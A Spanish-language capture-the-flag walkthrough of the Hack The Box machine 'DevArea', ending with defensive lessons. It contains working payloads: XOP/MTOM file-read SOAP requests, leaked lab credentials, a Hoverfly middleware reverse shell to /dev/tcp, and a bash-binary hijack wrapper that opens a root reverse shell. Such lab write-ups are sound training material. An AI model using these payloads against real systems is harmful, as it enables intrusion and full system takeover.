DevArea WriteUp

DevArea es una máquina de dificultad 🟧 Media de la plataforma Hack The Box, corresponde a la Season 10 y ha sido creada por EmSec. Simula un entorno de desarrollo con múltiples servicios expuestos, un servicio web SOAP sobre Apache CXF/Jetty, un servidor FTP con acceso anónimo y una plataforma de virtualización de servicios Hoverfly. El objetivo es encadenar una vulnerabilidad de lectura de ficheros con abuso de API para obtener acceso inicial, y después explotar una misconfiguración crítica en el binario bash del sistema para escalar a root.

🗺️ Cadena de Ataque

Antes de entrar en detalle, aquí está la cadena de ataque completa de un vistazo:

FTP Login Anónimo
      │
      ▼
Descarga employee-service.jar ► Análisis del JAR (Apache CXF + MTOM)
      │
      ▼
Descubrimiento del WSDL SOAP (puerto 8080)
      │
      ▼
Lectura arbitraria de ficheros XOP/MTOM ► /etc/systemd/system/hoverfly.service
      │
      ▼
Extracción de credenciales ► admin:O7IJ27MyyXiU
      │
      ▼
Autenticación en la API de Hoverfly ► Token JWT
      │
      ▼
Reverse shell vía middleware ► dev_ryan [user.txt] 🚩
      │
      ▼
sudo -l ► /opt/syswatch/syswatch.sh como root (NOPASSWD)
      │
      ▼
/usr/bin/bash con permisos 777 ► hijack del binario vía syswatch.sh
      │
      ▼
Shell como root [root.txt] 🏴

DevArea es un buen recordatorio de que no necesitas cadenas de exploits complejas ni CVEs excepcionales para comprometer un sistema. Una configuración SOAP insegura, credenciales hardcodeadas en un fichero de systemd y un único fichero con permisos incorrectos, eso es todo lo que hace falta. El tipo de cosas que encuentras en entornos de desarrollo reales constantemente.

🔍 Reconocimiento

Escaneo de Puertos

Realizamos el reconocimiento en dos fases: primero un descubrimiento rápido de puertos, después detección de versiones sobre los puertos abiertos.

Fase 1 - Descubrimiento rápido de puertos TCP:

echo "10.129.x.x devarea.htb" | sudo tee -a /etc/hosts
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv devarea.htb

Fase 2 - Detección de versiones y scripts sobre los puertos descubiertos:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -O --script vuln,default -oA scan -vvv devarea.htb

Los puertos más relevantes que encontramos:

Seis puertos, tres superficies de ataque distintas. La web del puerto 80 es una plataforma estática de contratación de desarrolladores, sin funcionalidad dinámica. Los objetivos interesantes son el servicio SOAP (8080) y el stack de Hoverfly (8500/8888).

📂 Enumeración FTP — Acceso Anónimo

El login anónimo en FTP está habilitado. Veamos qué hay dentro:

ftp anonymous@devarea.htb # password: anonymous
ftp> ls
ftp> cd pub
ftp> ls
-rw-r--r--  1 ftp ftp  6445030 <date> employee-service.jar
ftp> get employee-service.jar
ftp> bye

🔑 Un fichero JAR de Java es la aplicación compilada detrás del servicio SOAP del puerto 8080. Toca decompilar.

Análisis del JAR

mkdir extracted && cd extracted
jar xf ../employee-service.jar

# Buscar las clases de la aplicación
find . -path "*/devarea/*.class"

# Decompilar para inspeccionar
javap -c -p htb.devarea/ServerStarter.class
# Binds to http://0.0.0.0:8080/employeeservice

Igualmente podemos usar jadx-gui y ver la siguiente clase:

package htb.devarea;

import org.apache.cxf.jaxws.JaxWsServerFactoryBean;

/* JADX INFO: loaded from: employee-service.jar:htb/devarea/ServerStarter.class */
public class ServerStarter {
    public static void main(String[] args) {
        JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
        factory.setServiceClass(EmployeeService.class);
        factory.setServiceBean(new EmployeeServiceImpl());
        factory.setAddress("http://0.0.0.0:8080/employeeservice");
        factory.create();
        System.out.println("Employee Service running at http://localhost:8080/employeeservice");
        System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl");
    }
}

La aplicación utiliza Apache CXF con soporte para MTOM (Message Transmission Optimization Mechanism). Es una extensión SOAP para transmitir datos binarios de forma eficiente, y cuando está mal configurada, permite leer ficheros locales arbitrarios a través del elemento xop:Include.

🌐 Enumeración de Servicios

Servicio Web SOAP (Puerto 8080)

Consultamos el WSDL para entender el servicio:

curl -s 'http://devarea.htb:8080/employeeservice?wsdl'

El WSDL revela una única operación submitReport con los siguientes parámetros:

  <xs:complexType name="submitReport">
    <xs:sequence>
      <xs:element minOccurs="0" name="arg0" type="tns:report"/>
    </xs:sequence>
  </xs:complexType>

  <xs:complexType name="report">
    <xs:sequence>
      <xs:element name="confidential" type="xs:boolean"/>
      <xs:element minOccurs="0" name="content" type="xs:string"/>
      <xs:element minOccurs="0" name="department" type="xs:string"/>
      <xs:element minOccurs="0" name="employeeName" type="xs:string"/>
    </xs:sequence>
  </xs:complexType>

El namespace es http://devarea.htb/. El parámetro content acepta entrada de tipo string, y como MTOM está habilitado, también procesa elementos xop:Include.

Stack Hoverfly (Puertos 8500 / 8888)

# Proxy — requiere autenticación
curl -s http://devarea.htb:8500/
# "This is a proxy server. Does not respond to non-proxy requests."

# Dashboard — aplicación Angular
curl -sI http://devarea.htb:8888/
# HTTP/1.1 200 OK

# API — requiere Bearer token
curl -sv http://devarea.htb:8888/api/v2/hoverfly 2>&1 | grep HTTP
# HTTP/1.1 401 Unauthorized

⚠️ La API de administración de Hoverfly requiere autenticación JWT. Necesitaremos credenciales para interactuar con ella. Tomamos nota — volveremos aquí cuando las tengamos.

🎯 Acceso Inicial - Lectura Arbitraria de Ficheros XOP/MTOM

Entendiendo la Vulnerabilidad

🧠 Concepto clave: Apache CXF soporta MTOM, una extensión SOAP donde el elemento xop:Include puede referenciar URIs externas, incluyendo rutas file://. Cuando MTOM está habilitado y el servidor procesa estas referencias, lee el fichero local y devuelve su contenido codificado en base64 dentro de la respuesta SOAP. Esto da lectura arbitraria de ficheros en el servidor sin ningún tipo de autenticación.

Lectura de /etc/passwd - PoC

Basandonos en el CVE-2024-28753 podemos formar la siguiente petición:

POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: multipart/related; boundary=----foo
Content-Length: 602
Connection: close

------foo
Content-Disposition: form-data; name="1"

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:htb="http://devarea.htb/" xmlns:xop="http://www.w3.org/2004/08/xop/include">
   <soap:Body>
      <htb:submitReport>
         <arg0>
            <confidential>false</confidential>
            <content>
               <xop:Include href="file:////etc/passwd"/>
            </content>
            <department>IT</department>
            <employeeName>Hacker</employeeName>
         </arg0>
      </htb:submitReport>
   </soap:Body>
</soap:Envelope>
------foo--

✅ Lectura de ficheros confirmada. La respuesta SOAP contiene el /etc/passwd codificado en base64. Entre los usuarios podemos ver dev_ryan, relevante para más adelante.

Extracción de Credenciales de Hoverfly

Ahora la parte interesante. Sabemos que Hoverfly corre como servicio systemd, así que su fichero de configuración debería contener los parámetros de arranque, posiblemente incluyendo credenciales:

POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: multipart/related; boundary=----foo
Content-Length: 626
Connection: close

------foo
Content-Disposition: form-data; name="1"

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:htb="http://devarea.htb/" xmlns:xop="http://www.w3.org/2004/08/xop/include">
   <soap:Body>
      <htb:submitReport>
         <arg0>
            <confidential>false</confidential>
            <content>
               <xop:Include href="file:///etc/systemd/system/hoverfly.service"/>
            </content>
            <department>IT</department>
            <employeeName>Hacker</employeeName>
         </arg0>
      </htb:submitReport>
   </soap:Body>
</soap:Envelope>
------foo--

Decodificando la respuesta en base64:

[Service]
User=dev_ryan
Group=dev_ryan
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU

🎯 Credenciales recuperadas del fichero de unidad systemd:

• Username: admin
• Password: O7IJ27MyyXiU
• El servicio corre como: dev_ryan

Credenciales hardcodeadas en una unidad de servicio, un clásico. Esto es sorprendentemente habitual en entornos reales donde los equipos configuran servicios rápidamente durante el despliegue y se olvidan de limpiar después.

🐚 Reverse Shell vía Middleware de Hoverfly

Paso 1 - Autenticación en la API de Hoverfly

TOKEN=$(curl -s -X POST http://devarea.htb:8888/api/token-auth \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"O7IJ27MyyXiU"}' | jq -r .token)

echo "$TOKEN"

✅ Token JWT obtenido. Acceso completo a la API de Hoverfly.

Paso 2 - Configurar Middleware Malicioso

Hoverfly permite configurar un middleware, un binario que procesa las peticiones simuladas. La API permite especificar tanto el binario como un script a ejecutar. Abusamos de esto para lanzar una reverse shell.

Iniciamos un listener:

penelope -p 8443

Enviamos la configuración del middleware malicioso:

curl -s -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"binary":"/bin/bash","script":"bash -i >& /dev/tcp/<YOUR_IP>/8443 0>&1 &"}'

💡 ¿Por qué funciona esto? La funcionalidad de middleware de Hoverfly está diseñada para que los desarrolladores intercepten y modifiquen respuestas de APIs simuladas con scripts personalizados. La API confía en que los usuarios autenticados configuren binarios y scripts arbitrarios, no hay sanitización ni sandboxing. Con credenciales válidas, es esencialmente un endpoint de RCE integrado.

🚩 User Flag

dev_ryan@devarea:/opt/HoverFly$ cat /home/dev_ryan/user.txt

⬆️ Escalada de Privilegios - /usr/bin/bash con Permisos de Escritura

Paso 1 - Enumerar Permisos Sudo

sudo -l

User dev_ryan may run the following commands on devarea:
    (root) NOPASSWD: /opt/syswatch/syswatch.sh

dev_ryan puede ejecutar /opt/syswatch/syswatch.sh como root sin contraseña. Este script utiliza /usr/bin/bash internamente.

Paso 2 - Identificar la Misconfiguración

ls -la /usr/bin/bash

-rwxrwxrwx 1 root root 1446024 Mar 28 23:30 /usr/bin/bash

⚠️ Misconfiguración crítica: /usr/bin/bash tiene permisos de escritura globales (777). Cualquier usuario del sistema puede reemplazar este binario. Como syswatch.sh se ejecuta como root e invoca bash, reemplazar el binario nos da ejecución de código como root.

Paso 3 - Hijack del Binario Bash

El plan: reemplazar /usr/bin/bash con un wrapper que nos envíe una reverse shell como root, restaure el binario original y después ejecute el bash original para que el sistema no se rompa.

Hacemos backup del original:

cp /bin/bash /tmp/bash.bak

Creamos otro listener:

penelope -p 8444

Creamos el wrapper malicioso:

cat >/tmp/evil_bash <<'EOF'
#!/tmp/bash.bak
bash -i >& /dev/tcp/10.10.14.150/8444 0>&1 &
cp /tmp/bash.bak /usr/bin/bash
exec /tmp/bash.bak "$@"
EOF
chmod +x /tmp/evil_bash

Matamos los procesos de bash actuales, reemplazamos el binario y lanzamos el script con sudo:

/bin/dash -c 'killall -9 bash; sleep 2; cp /tmp/evil_bash /usr/bin/bash; sudo /opt/syswatch/syswatch.sh --version' &

💡 Usamos /bin/dash para orquestar el ataque porque estamos a punto de matar todos los procesos de bash y reemplazar el binario. Sin una shell alternativa, perderíamos nuestra propia sesión.

🏴 Root Flag

root@devarea:/home/dev_ryan# cat /root/root.txt

📝 Resumen de la Cadena de Ataque

📝 Notas Finales

Algunas cosas que merece la pena recordar de esta máquina:

📄 La lectura de ficheros vía XOP/MTOM es un vector de ataque conocido contra instancias de Apache CXF mal configuradas. El elemento xop:Include con URIs file:// debería estar deshabilitado o restringido en producción — pero en entornos de desarrollo este tipo de cosas se cuela con frecuencia.

🔑 Credenciales en unidades systemd son más comunes de lo que parece, especialmente en entornos donde los servicios se despliegan rápidamente. Siempre merece la pena revisar /etc/systemd/system/*.service y /etc/systemd/system/*.service.d/ en busca de secretos hardcodeados.

🐝 El middleware de Hoverfly es una funcionalidad legítima que se convierte en un RCE integrado cuando se expone sin controles de acceso adecuados. Las herramientas de virtualización de servicios en general suelen tener APIs potentes que pueden abusarse si la autenticación es débil o las credenciales se filtran.

📝 Binarios del sistema con permisos de escritura globales son una vía de escalada trivial pero sorprendentemente fácil de introducir — un chmod -R 777 durante una sesión de troubleshooting, un script de despliegue mal configurado, o un entrypoint de Docker que establece permisos incorrectos. Siempre conviene comprobar binarios críticos como /usr/bin/bash, /usr/bin/sudo, etc.

Un saludo, nos vemos en el próximo challenge.